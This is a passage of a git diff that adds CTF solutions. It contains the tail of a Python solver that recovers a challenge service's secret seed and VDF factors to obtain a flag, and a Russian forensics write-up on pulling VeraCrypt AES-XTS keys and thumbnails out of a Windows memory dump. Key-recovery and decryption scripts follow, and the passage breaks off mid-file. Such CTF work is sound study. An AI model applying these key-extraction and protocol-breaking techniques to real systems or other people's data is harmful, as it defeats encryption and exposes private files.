Ed25519 keypair for signing messages + self.sk = Ed25519PrivateKey.generate() + self.pk = self.sk.public_key().public_bytes( + encoding=serialization.Encoding.Raw, + format=serialization.PublicFormat.Raw, + ) + self.kid = kid_from_pk_sha256_8_hex(self.pk) + + self.pk_b64 = b64e(self.pk) + + # Learned data + self.vocab: Optional[Vocab] = None + self.master_seed64: Optional[int] = None + self.master_seed32: Optional[int] = None + self.vdf_p: Optional[int] = None + self.vdf_q: Optional[int] = None + self.vdf_N: Optional[int] = None + self.vdf_T: Optional[int] = None + + self.answered_election_qids: set[int] = set() + self._last_epoch_seen: Optional[int] = None + self._flag_sent_epoch: Optional[int] = None + self._flag_qid: Optional[int] = None + self._all_observed_questions: List[str] = [] # accumulate across epochs for vocab + + def get_status(self) -> Dict[str, Any]: + r = self.session.get(self.feed_url + "/status", timeout=5) + r.raise_for_status() + return r.json() + + def get_feed(self) -> List[Dict[str, Any]]: + r = self.session.get(self.feed_url + "/feed", timeout=10) + r.raise_for_status() + return r.json() + + def post(self, *, kind: str, epoch: int, qid: int, text: str) -> None: + msg = { + "ts": int(time.time()), + "kind": kind, + "kid": self.kid, + "epoch": int(epoch), + "qid": int(qid), + "text": text, + "pk": self.pk_b64, + "sig": "", + } + sig = self.sk.sign(canonical_msg_without_sig(msg)) + msg["sig"] = b64e(sig) + r = self.session.post(self.feed_url + "/feed", json=msg, timeout=10) + r.raise_for_status() + + def try_learn_and_break(self, epoch: int, leader_kid: str, feed: List[Dict[str, Any]]) -> None: + qs = [str(m.get("text", "")) for m in feed if m.get("kind") == KIND_QUESTION and m.get("kid") == leader_kid] + if len(qs) < 20: + return + + if self.vocab is None: + # Accumulate questions across epochs for vocab discovery + self._all_observed_questions.extend(qs) + v = build_vocab_from_questions(self._all_observed_questions) + if len(v.W) == 16 and len(v.N) == 16 and len(v.A) == 16 and len(v.E) == 16: + self.vocab = v + print("[solver] learned vocab sets (16 each)") + + if self.vocab is None: + return + + obs4 = [] + for q in qs: + o = question_to_obs4(q, self.vocab) + if o is not None: + obs4.append(o) + + if self.master_seed64 is None: + seed_epoch64 = recover_epoch_seed64_from_obs4(obs4) + if seed_epoch64 is None: + return + self.master_seed64 = seed_epoch64 ^ (epoch & 0xFFFFFFFFFFFFFFFF) + self.master_seed32 = self.master_seed64 & 0xFFFFFFFF + print(f"[solver] recovered master_seed64 = {self.master_seed64} (0x{self.master_seed64:016x})") + print(f"[solver] derived master_seed32 = {self.master_seed32} (0x{self.master_seed32:08x})") + + if self.master_seed64 is not None and self.vdf_T is not None and self.vdf_N is not None and self.vdf_p is None: + p, q, N = generate_vdf_params(self.master_seed64, self.vdf_T) + if N != self.vdf_N: + print("[solver] generated N does not match /status (wrong seed?)") + return + self.vdf_p = p + self.vdf_q = q + print("[solver] factored vdf_N via regeneration: OK") + + def maybe_ask_flag_question(self, epoch: int, mode: str, leader: str, feed: List[Dict[str, Any]]) -> None: + if not self.play: + return + if mode != "CHAT": + return + if leader != self.kid: + return + if self._flag_sent_epoch == epoch: + return + + # выбрать следующий свободный qid для моих QUESTION в этой эпохе + my_qids = [] + for m in feed: + try: + if int(m.get("epoch", -1)) != int(epoch): + continue + if str(m.get("kind")) != KIND_QUESTION: + continue + if str(m.get("kid")) != self.kid: + continue + my_qids.append(int(m.get("qid", -1))) + except Exception: + continue + qid = (max(my_qids) + 1) if my_qids else 0 + + self.post(kind=KIND_QUESTION, epoch=epoch, qid=qid, text=FLAG_QUESTION_TEXT) + self._flag_sent_epoch = epoch + self._flag_qid = qid + print(f"[solver] asked flag question qid={qid}") + + def maybe_print_flag_answer(self, epoch: int, feed: List[Dict[str, Any]]) -> None: + if self._flag_sent_epoch != epoch or self._flag_qid is None: + return + for m in feed: + try: + if int(m.get("epoch", -1)) != int(epoch): + continue + if str(m.get("kind")) != KIND_ANSWER: + continue + if int(m.get("qid", -1)) != int(self._flag_qid): + continue + txt = str(m.get("text", "")) + except Exception: + continue + if txt.startswith("caplag{"): + print(f"[solver] FLAG: {txt}") + return + + def play_showtime(self, epoch: int, mode: str, feed: List[Dict[str, Any]]) -> None: + if not self.play or mode != "ELECTION": + return + if self.vdf_p is None or self.vdf_q is None or self.vdf_T is None: + return + + # Собрать все election questions текущей epoch + qs = [] + for m in feed: + if m.get("kind") == KIND_ELECTION_Q and int(m.get("epoch", -1)) == int(epoch): + qid = int(m.get("qid", -1)) + if qid >= 0: + qs.append((qid, str(m.get("text", "")))) + + for qid, q_text in qs: + if qid in self.answered_election_qids: + continue + ans = expected_answer_fast(q_text, epoch, self.kid, self.book, self.vdf_p, self.vdf_q, self.vdf_T) + self.post(kind=KIND_ELECTION_A, epoch=epoch, qid=qid, text=ans) + self.answered_election_qids.add(qid) + + + def run_forever(self) -> None: + print(f"[solver] kid={self.kid} book.dict_size={self.book.dict_size}") + + while True: + try: + st = self.get_status() + epoch = int(st["epoch"]) + mode = str(st["mode"]) + leader = str(st["leader_kid"]).lower() + + if self._last_epoch_seen is None or epoch != self._last_epoch_seen: + self.answered_election_qids.clear() + self._last_epoch_seen = epoch + + if str(st.get("answer_algo")) != ANSWER_ALGO: + raise RuntimeError(f"unexpected answer_algo: {st.get('answer_algo')}") + if str(st.get("question_algo")) != QUESTION_ALGO: + raise RuntimeError(f"unexpected question_algo: {st.get('question_algo')}") + + self.vdf_N = int(st["vdf_N_hex"], 16) + self.vdf_T = int(st["vdf_T"]) + + # Ensure our local book-derived answer space matches the service + if "ngram_len" in st and int(st["ngram_len"]) != NGRAM_LEN: + raise RuntimeError(f"unexpected ngram_len: {st.get('ngram_len')}") + if "answer_space" in st: + svc_space = int(st["answer_space"]) + if svc_space != self.book.dict_size: + max_space = len(self.book.tokens) - NGRAM_LEN + 1 + if svc_space <= max_space and (svc_space & (svc_space - 1)) == 0: + print(f"[solver] overriding local dict_size {self.book.dict_size} -> {svc_space} from /status") + self.book.dict_size = svc_space + else: + raise RuntimeError("service answer_space is incompatible with local book") + + feed = self.get_feed() + self.maybe_ask_flag_question(epoch, mode, leader, feed) + self.maybe_print_flag_answer(epoch, feed) + + self.try_learn_and_break(epoch, leader, feed) + self.play_showtime(epoch, mode, feed) + + if leader == self.kid: + print("[solver] I am the leader now!") + + except Exception as e: + print("[solver] error:", repr(e)) + + sleep = 0.02 if mode == "ELECTION" else 0.25 # (не обязательно, но так чуть быстрее) + time.sleep(sleep) + + + +def main() -> None: + ap = argparse.ArgumentParser() + ap.add_argument("--feed", required=True, help="Feed URL, e.g. http://127.0.0.1:9000") + ap.add_argument("--book", required=True, help="Path to KOI8-R book file") + ap.add_argument("--book-encoding", default="koi8_r") + ap.add_argument("--play", action="store_true", help="Actively answer election questions") + args = ap.parse_args() + + book = BookNGram.load(args.book, encoding=args.book_encoding) + Player(args.feed, book, play=bool(args.play)).run_forever() + + +if __name__ == "__main__": + main() diff --git a/HumanAI-Forensic-Hard/README.md b/HumanAI-Forensic-Hard/README.md new file mode 100644 index 0000000..cc76772 --- /dev/null +++ b/HumanAI-Forensic-Hard/README.md @@ -0,0 +1,90 @@ +# HumanAI + +Мир захлестнул ИИ‑контент: генерации, копии, шум. Но где‑то в памяти системы есть то, что создано человеком. Найди это https://git.caplag.ru/kernel/HumanAI + +## Решение + +Всего есть два варианта решения: +1. Плановое решение: восстановление контейнера VeraCrypt + извлечение криптоключей из RAM. +2. Незапланированное решение: извлечение флага через кэш миниатюр Windows. + +Сразу же загружаем дамп памяти в **Volatility**, выполняем базовые команды (`pslist`, `filescan` и т. д.). +Что интересного узнаём: +- VeraCrypt был запущен; +- контейнер `human.vc` был смонтирован. + +### Потихоньку-помаленьку + +Проверяем следы присутствия **VeraCrypt**: +```powershell +vol -q -f .\memdump.mem windows.modules | Select-String -Pattern "veracrypt|truecrypt" -CaseSensitive:$false +vol -q -f .\memdump.mem windows.pslist | Select-String -Pattern "veracrypt" -CaseSensitive:$false +vol -q -f .\memdump.mem windows.symlinkscan | Select-String -Pattern "VeraCrypt|Volume" -CaseSensitive:$false +``` + +Из этого мы сможем вытянуть достаточно важную информацию. Как минимум мы получим *модуль драйвера* VeraCrypt, его *процесс* и *букву смонтированного тома* вида `K:` -> `\Device\VeraCryptVolume...`. + +### Плановый вариант решения + +Начнем с того, что восстановим `human.vc` из памяти. Ищем файловый объект: +```powershell +vol -q -f .\memdump.mem -r csv windows.filescan | Select-String -Pattern "human\\.vc|\\.vc$" -CaseSensitive:$false +``` + +Дальше выгружаем файл через `dumpfiles`: +```powershell +mkdir out\dumpfiles -Force | Out-Null +vol -q -f .\memdump.mem -o out\dumpfiles windows.dumpfiles --filter "human\\.vc$|human\\.vc" --ignore-case +``` + +Обычно нужный файл находится среди объектов `SharedCacheMap` (часто с расширением `.vacb`). П +Пароль может не сохраниться в памяти, поэтому надёжнее идти через мастер-ключи. Одна из рабочих точек входа - *Big Pool*: +```powershell +vol -q -f .\memdump.mem -r csv windows.bigpools | Select-String -Pattern "VCMM|TC|VC" -CaseSensitive:$false +``` + +Дальше нужно производим выгрузку памяти по подходящим `pool tag` и осуществляема поиск пар ключей AES-256 для XTS (`key_a`, `key_b`). Основными признаками, что мы вышли на верные ключи: +- находятся две разные 32-байтовые последовательности; +- они стабильно повторяются в связанных дампах. + +Проверяем, что ключи действительно дешифруют начало файловой системы. Для VeraCrypt данные начнутся после оффсета на `0x20000`. После AES-XTS-дешифровки сектора структура должна быть похожа на boot sector файловой системы и сигнатуры и поля должны выглядеть осмысленно, а не как случайный шум. + +После подтверждения ключей и оффсета: +- расшифровываем контейнер; +- парсим файловую систему (в этом таске была FAT32); +- извлекаем файлы и находим флаг. + +### Неожиданный вариант решения + +Эта ветка сработала без полного дешифрования контейнера. В дампе можно искать строки, связанные с путём к файлу флага: + +```powershell +strings -n 6 .\memdump.mem | Select-String -Pattern "flag|thumbcache|\\\.png|\\\.jpg|K:\\" -CaseSensitive:$false +``` + +Таким образом в памяти встретится путь к `flag.png` на смонтированном томе VeraCrypt. Теперь проверим, есть ли исходный файл в файловых объектах: + +```powershell +vol -q -f .\memdump.mem windows.filescan | Select-String -Pattern "flag\\.png|flag" -CaseSensitive:$false +``` + +Напрямую файл `flag.png` найти не получится, но это не тупик. Приступаем к изучению следующего потенциального кандидата - кэш миниатюр Windows: + +```powershell +vol -q -f .\memdump.mem windows.filescan | Select-String -Pattern "thumbcache_.*\\.db|thumbcache" -CaseSensitive:$false +``` + +Выгрузим найденные объекты: +```powershell +mkdir out\thumbs -Force | Out-Null +vol -q -f .\memdump.mem -o out\thumbs windows.dumpfiles --filter "thumbcache_.*\\.db|thumbcache" --ignore-case +``` + +И теперь, наконец, извлечем изображения из дампа кэша. Как вариант, можно воспользоваться `carving`: + +```powershell +cd .\out\thumbs +Get-ChildItem -File | ForEach-Object { binwalk -e -M $_.FullName } +``` + +После этого просматриваем извлечённые изображения. Флаг окажется в одной из миниатюр. \ No newline at end of file diff --git a/HumanAI-Forensic-Hard/scripts/bigpooldump.py b/HumanAI-Forensic-Hard/scripts/bigpooldump.py new file mode 100644 index 0000000..00728d0 --- /dev/null +++ b/HumanAI-Forensic-Hard/scripts/bigpooldump.py @@ -0,0 +1,108 @@ +import logging +from typing import Iterator, List, Optional, Tuple + +from volatility3.framework import exceptions, interfaces, renderers +from volatility3.framework.configuration import requirements +from volatility3.framework.renderers import format_hints +from volatility3.plugins.windows import bigpools + +vollog = logging.getLogger(__name__) + + +class BigPoolDump(interfaces.plugins.PluginInterface): + + + _version = (0, 1, 0) + _required_framework_version = (2, 0, 0) + + @classmethod + def get_requirements(cls) -> List[interfaces.configuration.RequirementInterface]: + return [ + requirements.ModuleRequirement( + name="kernel", + description="Windows kernel", + architectures=["Intel32", "Intel64"], + ), + requirements.VersionRequirement( + name="bigpools", component=bigpools.BigPools, version=(2, 0, 0) + ), + requirements.StringRequirement( + name="tags", + description="Comma-separated list of pool tags to dump (e.g. TcDN,Tcpt)", + optional=False, + ), + requirements.BooleanRequirement( + name="include-free", + description="Include freed allocations", + default=False, + optional=True, + ), + ] + + def _dump_one(self, addr: int, size: int, tag: str) -> Optional[str]: + kernel = self.context.modules[self.config["kernel"]] + layer = self.context.layers[kernel.layer_name] + + filename = f"bigpool.{tag}.0x{addr:016x}.0x{size:x}.dmp" + try: + data = layer.read(addr, size, pad=True) + except exceptions.InvalidAddressException: + return None + + try: + with self.open(filename) as fp: + fp.write(data) + return filename + except OSError: + return None + + def _generator(self) -> Iterator[Tuple[int, Tuple[object, ...]]]: + tags = [t.strip() for t in (self.config.get("tags") or "").split(",") if t.strip()] + if not tags: + vollog.warning("No tags specified") + return + + show_free = bool(self.config.get("include-free")) + + for big_pool in bigpools.BigPools.list_big_pools( + context=self.context, + kernel_module_name=self.config["kernel"], + tags=tags, + show_free=show_free, + ): + tag = big_pool.get_key() + size = big_pool.get_number_of_bytes() + if isinstance(size, interfaces.renderers.BaseAbsentValue): + continue + addr = int(big_pool.Va) & ~1 + + dumped_as = self._dump_one(addr, int(size), tag) + if dumped_as is None: + dumped_as = renderers.UnreadableValue() + + status = "Free" if big_pool.is_free() else "Allocated" + + yield ( + 0, + ( + format_hints.Hex(addr), + tag, + format_hints.Hex(int(size)), + big_pool.get_pool_type(), + status, + dumped_as, + ), + ) + + def run(self) -> renderers.TreeGrid: + return renderers.TreeGrid( + [ + ("Allocation", format_hints.Hex), + ("Tag", str), + ("NumberOfBytes", format_hints.Hex), + ("PoolType", str), + ("Status", str), + ("File output", str), + ], + self._generator(), + ) diff --git a/HumanAI-Forensic-Hard/scripts/extract_password_candidates.py b/HumanAI-Forensic-Hard/scripts/extract_password_candidates.py new file mode 100644 index 0000000..d11e064 --- /dev/null +++ b/HumanAI-Forensic-Hard/scripts/extract_password_candidates.py @@ -0,0 +1,188 @@ +import argparse +import math +import re +from dataclasses import dataclass +from pathlib import Path +from typing import Dict, Iterable, Iterator, List, Tuple + + +ASCII_RE_TEMPLATE = rb"[ -~]{%d,%d}" +UTF16LE_ASCII_RE_TEMPLATE = rb"(?:[ -~]\x00){%d,%d}" + + +@dataclass +class Hit: + s: str + score: float + file: Path + offset: int + kind: str + count: int = 1 + + +def iter_files(paths: Iterable[str]) -> Iterator[Path]: + for p in paths: + path = Path(p) + if path.is_dir(): + for child in sorted(path.rglob("*")): + if child.is_file(): + yield child + elif path.is_file(): + yield path + + +def shannon_entropy(s: str) -> float: + if not s: + return 0.0 + freq: Dict[str, int] = {} + for ch in s: + freq[ch] = freq.get(ch, 0) + 1 + n = len(s) + ent = 0.0 + for c in freq.values(): + p = c / n + ent -= p * math.log2(p) + return ent + + +BAD_SUBSTRINGS = ( + "\\\\", + "\\Registry\\", + "\\Registry", + "\\BaseNamedObjects\\", + "\\BaseNamedObjects", + ":\\", + "/", + "System32", + "Windows", + "Microsoft", + "CLSID", + "AppX", + "shell:::", + "atom(", + ".dll", + ".exe", + ".sys", + ".ini", + ".mui", + ".nls", + ".png", + ".jpg", + ".jpeg", + ".gif", + ".ttf", + ".otf", + ".wav", + ".mp3", + ".mp4", + ".sqlite", +) + + +def looks_passwordish(s: str) -> bool: + + if any(ch in s for ch in ('\\', '/', ':', '<', '>', '"', "'", '=', '\t', '\r', '\n')): + return False + if any(bad in s for bad in BAD_SUBSTRINGS): + return False + if s.startswith("http://") or s.startswith("https://"): + return False + + if s.count(" ") >= 4: + return False + + if len(set(s)) <= 3: + return False + + if re.fullmatch(r"[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}", s): + return False + return True + + +def score_string(s: str) -> float: + has_lower = any("a" <= c <= "z" for c in s) + has_upper = any("A" <= c <= "Z" for c in s) + has_digit = any("0" <= c <= "9" for c in s) + has_special = any(not c.isalnum() for c in s) + + ent = shannon_entropy(s) + score = ent * len(s) + score += 5.0 * has_lower + score += 5.0 * has_upper + score += 5.0 * has_digit + score += 5.0 * has_special + if " " in s: + score -= 2.0 + if s.islower() or s.isupper(): + score -= 1.0 + if all(c in "0123456789abcdefABCDEF" for c in s): + score -= 3.0 + return score + + +def extract_hits(data: bytes, *, min_len: int, max_len: int) -> Iterator[Tuple[str, int, str]]: + ascii_re = re.compile(ASCII_RE_TEMPLATE % (min_len, max_len)) + utf16_re = re.compile(UTF16LE_ASCII_RE_TEMPLATE % (min_len, max_len)) + + for m in ascii_re.finditer(data): + s = m.group(0).decode("ascii", errors="ignore") + yield s, m.start(), "ascii" + + for m in utf16_re.finditer(data): + raw = m.group(0) + s = raw[::2].decode("ascii", errors="ignore") + yield s, m.start(), "utf16le" + + +def main() -> int: + ap = argparse.ArgumentParser() + ap.add_argument("paths", nargs="+", help="Files/dirs to scan") + ap.add_argument("--min-len", type=int, default=8) + ap.add_argument("--max-len", type=int, default=64) + ap.add_argument("--top", type=int, default=80) + ap.add_argument("--grep", type=str, default="", help="Only show hits containing this substring") + args = ap.parse_args() + + best: Dict[str, Hit] = {} + grep = args.grep + + for fp in iter_files(args.paths): + + if fp.suffix.lower() not in (".dmp", ".mem", ".raw", ".bin", ""): + continue + + try: + data = fp.read_bytes() + except Exception: + continue + + for s, off, kind in extract_hits(data, min_len=args.min_len, max_len=args.max_len): + if grep and grep not in s: + continue + if not looks_passwordish(s): + continue + sc = score_string(s) + existing = best.get(s) + if existing is None: + best[s] = Hit(s=s, score=sc, file=fp, offset=off, kind=kind) + else: + existing.count += 1 + if sc > existing.score: + existing.score = sc + existing.file = fp + existing.offset = off + existing.kind = kind + + hits: List[Hit] = sorted(best.values(), key=lambda h: h.score, reverse=True) + if not hits: + print("[!] No candidates found") + return 2 + + for h in hits[: args.top]: + print(f"{h.score:8.2f}\t{h.count:4d}\t{h.kind}\t{h.file}\t0x{h.offset:X}\t{h.s}") + + return 0 + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/HumanAI-Forensic-Hard/scripts/extract_vc_fat32.py b/HumanAI-Forensic-Hard/scripts/extract_vc_fat32.py new file mode 100644 index 0000000..a27f8f3 --- /dev/null +++ b/HumanAI-Forensic-Hard/scripts/extract_vc_fat32.py @@ -0,0 +1,346 @@ +import argparse +import os +import struct +from dataclasses import dataclass +from pathlib import Path +from typing import Dict, Iterable, Iterator, List, Optional, Tuple + +from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes + + +SECTOR_SIZE = 512 + + +@dataclass +class Fat32BPB: + bytes_per_sector: int + sectors_per_cluster: int + reserved_sectors: int + num_fats: int + total_sectors: int + fat_size_sectors: int + root_cluster: int + + @property + def first_fat_sector(self) -> int: + return self.reserved_sectors + + @property + def first_data_sector(self) -> int: + return self.reserved_sectors + self.num_fats * self.fat_size_sectors + + +class VeraCryptFileVolume: + """Reads plaintext sectors from a VeraCrypt file container that is already decrypted in RAM (keys known).""" + + def __init__(self, container: Path, xts_key: bytes, data_offset: int, data_length: Optional[int] = None): + self.container = container + self.xts_key = xts_key + self.base_file_sector = data_offset // SECTOR_SIZE + if data_offset % SECTOR_SIZE != 0: + raise ValueError("data_offset must be sector-aligned") + + st = container.stat() + if data_length is None: + # Assume standard file container layout: header area at start AND backup header at end. + data_length = st.st_size - 2 * data_offset + self.data_length = data_length + if self.data_length < SECTOR_SIZE or self.data_length % SECTOR_SIZE != 0: + raise ValueError("data_length must be a positive multiple of sector size") + self.total_sectors = self.data_length // SECTOR_SIZE + + self._fh = open(container, "rb") + + def close(self) -> None: + try: + self._fh.close() + except Exception: + pass + + def _decrypt_sector(self, file_sector: int, ct: bytes) -> bytes: + tweak = int(file_sector).to_bytes(16, "little", signed=False) + dec = Cipher(algorithms.AES(self.xts_key), modes.XTS(tweak)).decryptor() + return dec.update(ct) + dec.finalize() + + def read_sector(self, vol_sector: int) -> bytes: + if not (0 <= vol_sector < self.total_sectors): + raise ValueError("volume sector out of range") + file_sector = self.base_file_sector + vol_sector + self._fh.seek(file_sector * SECTOR_SIZE) + ct = self._fh.read(SECTOR_SIZE) + if len(ct) != SECTOR_SIZE: + raise IOError("short read") + return self._decrypt_sector(file_sector, ct) + + +def parse_fat32_bpb(boot_sector: bytes) -> Fat32BPB: + oem = boot_sector[3:11] + if oem != b"MSDOS5.0": + raise ValueError(f"Unexpected OEM {oem!r} (expected MSDOS5.0)") + + bps = struct.unpack_from(" str: + # Minimal cross-platform path sanitization. + s = s.replace("\\", "_").replace("/", "_").replace(":", "_") + s = s.strip().strip(".") + return s or "_" + + +def parse_short_name(ent: bytes) -> str: + name = ent[0:8].decode("ascii", errors="ignore").rstrip(" ") + ext = ent[8:11].decode("ascii", errors="ignore").rstrip(" ") + if not ext: + return name + return f"{name}.{ext}" + + +def parse_lfn_part(ent: bytes) -> str: + # LFN is UTF-16LE in three chunks + raw = ent[1:11] + ent[14:26] + ent[28:32] + out_chars: List[str] = [] + for i in range(0, len(raw), 2): + (ch,) = struct.unpack_from(" int: + return self.bpb.first_data_sector + (cluster - 2) * self.bpb.sectors_per_cluster + + def read_fat_sector(self, fat_sector_index: int) -> bytes: + if fat_sector_index not in self._fat_sector_cache: + self._fat_sector_cache[fat_sector_index] = self.vol.read_sector( + self.bpb.first_fat_sector + fat_sector_index + ) + return self._fat_sector_cache[fat_sector_index] + + def fat_entry(self, cluster: int) -> int: + # FAT32 entry is 4 bytes, lower 28 bits used + off = cluster * 4 + sector_index = off // SECTOR_SIZE + sector_off = off % SECTOR_SIZE + sec = self.read_fat_sector(sector_index) + (val,) = struct.unpack_from(" Iterator[int]: + cl = start_cluster + steps = 0 + while 2 <= cl < 0x0FFFFFF8: + yield cl + nxt = self.fat_entry(cl) + if nxt == cl: + break + cl = nxt + steps += 1 + if steps > max_steps: + raise RuntimeError("cluster chain too long (loop?)") + + def read_cluster(self, cluster: int) -> bytes: + vsec0 = self.vol_sector_for_cluster(cluster) + buf = bytearray() + for i in range(self.bpb.sectors_per_cluster): + buf += self.vol.read_sector(vsec0 + i) + return bytes(buf) + + def read_chain_data(self, start_cluster: int, size: int) -> bytes: + buf = bytearray() + for cl in self.iter_cluster_chain(start_cluster): + buf += self.read_cluster(cl) + if len(buf) >= size: + break + return bytes(buf[:size]) + + def read_directory(self, start_cluster: int) -> List[DirEntry]: + entries: List[DirEntry] = [] + lfn_parts: List[str] = [] + + for cl in self.iter_cluster_chain(start_cluster): + data = self.read_cluster(cl) + for off in range(0, len(data), 32): + ent = data[off : off + 32] + first = ent[0] + if first == 0x00: + return entries + if first == 0xE5: + lfn_parts.clear() + continue + + attr = ent[11] + if attr == 0x0F: + lfn_parts.append(parse_lfn_part(ent)) + continue + + name = "" + if lfn_parts: + name = "".join(reversed(lfn_parts)) + lfn_parts.clear() + else: + name = parse_short_name(ent) + + # Skip volume labels + if attr & 0x08: + continue + # Skip "." and ".." + if name in (".", ".."): + continue + + is_dir = bool(attr & 0x10) + hi = struct.unpack_from(" List[Path]: + extracted: List[Path] = [] + stack: List[Tuple[int, str]] = [(start_cluster, rel_path)] + seen_dirs: set[Tuple[int, str]] = set() + + while stack: + cl, rpath = stack.pop() + key = (cl, rpath) + if key in seen_dirs: + continue + seen_dirs.add(key) + + for ent in fs.read_directory(cl): + name = sanitize_name(ent.name) + child_rel = os.path.join(rpath, name) if rpath else name + out_path = out_dir / child_rel + + if ent.is_dir: + if ent.cluster >= 2: + stack.append((ent.cluster, child_rel)) + continue + + if ent.cluster < 2: + continue + out_path.parent.mkdir(parents=True, exist_ok=True) + data = fs.read_chain_data(ent.cluster, ent.size) + out_path.write_bytes(data) + extracted.append(out_path) + if len(extracted) >= max_files: + return extracted + + return extracted + + +def main() -> int: + ap = argparse.ArgumentParser(description="Extract FAT32 files from a VeraCrypt container using recovered XTS keys") + ap.add_argument("container", type=Path) + ap.add_argument("--key-a", required=True, help="32-byte hex key A (data key)") + ap.add_argument("--key-b", required=True, help="32-byte hex key B (tweak key)") + ap.add_argument("--data-offset", default="0x20000", help="Start of encrypted volume area (default: 0x20000)") + ap.add_argument( + "--out-dir", + type=Path, + default=Path("out") / "vc_extracted", + help="Output directory (default: out/vc_extracted)", + ) + args = ap.parse_args() + + key_a = bytes.fromhex(args.key_a) + key_b = bytes.fromhex(args.key_b) + if len(key_a) != 32 or len(key_b) != 32: + raise SystemExit("Keys must be 32 bytes each") + + data_offset = int(str(args.data_offset), 0) + xts_key = key_a + key_b + + args.out_dir.mkdir(parents=True, exist_ok=True) + + vol = VeraCryptFileVolume(args.container, xts_key, data_offset) + try: + boot = vol.read_sector(0) # volume sector 0 maps to file sector base_file_sector + bpb = parse_fat32_bpb(boot) + print( + f"[i] FAT32: total_sectors={bpb.total_sectors} spc={bpb.sectors_per_cluster} " + f"reserved={bpb.reserved_sectors} fats={bpb.num_fats} fatsz={bpb.fat_size_sectors} root={bpb.root_cluster}" + ) + + fs = Fat32(vol, bpb) + extracted = walk_and_extract(fs, bpb.root_cluster, args.out_dir) + print(f"[i] Extracted {len(extracted)} files into {args.out_dir}") + return 0 + finally: + vol.close() + + +if __name__ == "__main__": + raise SystemExit(main()) + diff --git a/HumanAI-Forensic-Hard/scripts/find_aes_keys_in_dumps.py b/HumanAI-Forensic-Hard/scripts/find_aes_keys_in_dumps.py new file mode 100644 index 0000000..cb9316b --- /dev/null +++ b/HumanAI-Forensic-Hard/scripts/find_aes_keys_in_dumps.py @@ -0,0 +1,459 @@ +import argparse +from dataclasses import dataclass +from pathlib import Path +from typing import Iterable, Iterator, List, Optional, Sequence, Set, Tuple + + +SBOX = [ + 0x63, + 0x7C, + 0x77, + 0x7B, + 0xF2, + 0x6B, + 0x6F, + 0xC5, + 0x30, + 0x01, + 0x67, + 0x2B, + 0xFE, + 0xD7, + 0xAB, + 0x76, + 0xCA, + 0x82, + 0xC9, + 0x7D, + 0xFA, + 0x59, + 0x47, + 0xF0, + 0xAD, + 0xD4, + 0xA2, + 0xAF, + 0x9C, + 0xA4, + 0x72, + 0xC0, + 0xB7, + 0xFD, + 0x93, + 0x26, + 0x36, + 0x3F, + 0xF7, + 0xCC, + 0x34, + 0xA5, + 0xE5, + 0xF1, + 0x71, + 0xD8, + 0x31, + 0x15, + 0x04, + 0xC7, + 0x23, + 0xC3, + 0x18, + 0x96, + 0x05, + 0x9A, + 0x07, + 0x12, + 0x80, + 0xE2, + 0xEB, + 0x27, + 0xB2, + 0x75, + 0x09, + 0x83, + 0x2C, + 0x1A, + 0x1B, + 0x6E, + 0x5A, + 0xA0, + 0x52, + 0x3B, + 0xD6, + 0xB3, + 0x29, + 0xE3, + 0x2F, + 0x84, + 0x53, + 0xD1, + 0x00, + 0xED, + 0x20, + 0xFC, + 0xB1, + 0x5B, + 0x6A, + 0xCB, + 0xBE, + 0x39, + 0x4A, + 0x4C, + 0x58, + 0xCF, + 0xD0, + 0xEF, + 0xAA, + 0xFB, + 0x43, + 0x4D, + 0x33, + 0x85, + 0x45, + 0xF9, + 0x02, + 0x7F, + 0x50, + 0x3C, + 0x9F, + 0xA8, + 0x51, + 0xA3, + 0x40, + 0x8F, + 0x92, + 0x9D, + 0x38, + 0xF5, + 0xBC, + 0xB6, + 0xDA, + 0x21, + 0x10, + 0xFF, + 0xF3, + 0xD2, + 0xCD, + 0x0C, + 0x13, + 0xEC, + 0x5F, + 0x97, + 0x44, + 0x17, + 0xC4, + 0xA7, + 0x7E, + 0x3D, + 0x64, + 0x5D, + 0x19, + 0x73, + 0x60, + 0x81, + 0x4F, + 0xDC, + 0x22, + 0x2A, + 0x90, + 0x88, + 0x46, + 0xEE, + 0xB8, + 0x14, + 0xDE, + 0x5E, + 0x0B, + 0xDB, + 0xE0, + 0x32, + 0x3A, + 0x0A, + 0x49, + 0x06, + 0x24, + 0x5C, + 0xC2, + 0xD3, + 0xAC, + 0x62, + 0x91, + 0x95, + 0xE4, + 0x79, + 0xE7, + 0xC8, + 0x37, + 0x6D, + 0x8D, + 0xD5, + 0x4E, + 0xA9, + 0x6C, + 0x56, + 0xF4, + 0xEA, + 0x65, + 0x7A, + 0xAE, + 0x08, + 0xBA, + 0x78, + 0x25, + 0x2E, + 0x1C, + 0xA6, + 0xB4, + 0xC6, + 0xE8, + 0xDD, + 0x74, + 0x1F, + 0x4B, + 0xBD, + 0x8B, + 0x8A, + 0x70, + 0x3E, + 0xB5, + 0x66, + 0x48, + 0x03, + 0xF6, + 0x0E, + 0x61, + 0x35, + 0x57, + 0xB9, + 0x86, + 0xC1, + 0x1D, + 0x9E, + 0xE1, + 0xF8, + 0x98, + 0x11, + 0x69, + 0xD9, + 0x8E, + 0x94, + 0x9B, + 0x1E, + 0x87, + 0xE9, + 0xCE, + 0x55, + 0x28, + 0xDF, + 0x8C, + 0xA1, + 0x89, + 0x0D, + 0xBF, + 0xE6, + 0x42, + 0x68, + 0x41, + 0x99, + 0x2D, + 0x0F, + 0xB0, + 0x54, + 0xBB, + 0x16, +] + + +def rot_word_be(w: int) -> int: + return ((w << 8) & 0xFFFFFFFF) | ((w >> 24) & 0xFF) + + +def sub_word_be(w: int) -> int: + return ( + (SBOX[(w >> 24) & 0xFF] << 24) + | (SBOX[(w >> 16) & 0xFF] << 16) + | (SBOX[(w >> 8) & 0xFF] << 8) + | (SBOX[w & 0xFF]) + ) + + +def rot_word_le(w: int) -> int: + b = w.to_bytes(4, "little") + b = b[1:] + b[:1] + return int.from_bytes(b, "little") + + +def sub_word_le(w: int) -> int: + b = w.to_bytes(4, "little") + sb = bytes([SBOX[x] for x in b]) + return int.from_bytes(sb, "little") + + +def xtime(x: int) -> int: + x <<= 1 + if x & 0x100: + x ^= 0x11B + return x & 0xFF + + +def rcon_word(i: int, *, endian: str) -> int: + rc = 1 + for _ in range(1, i): + rc = xtime(rc) + if endian == "be": + return rc << 24 + return rc + + +def total_words_for_nk(nk: int) -> int: + if nk == 4: + nr = 10 + elif nk == 6: + nr = 12 + elif nk == 8: 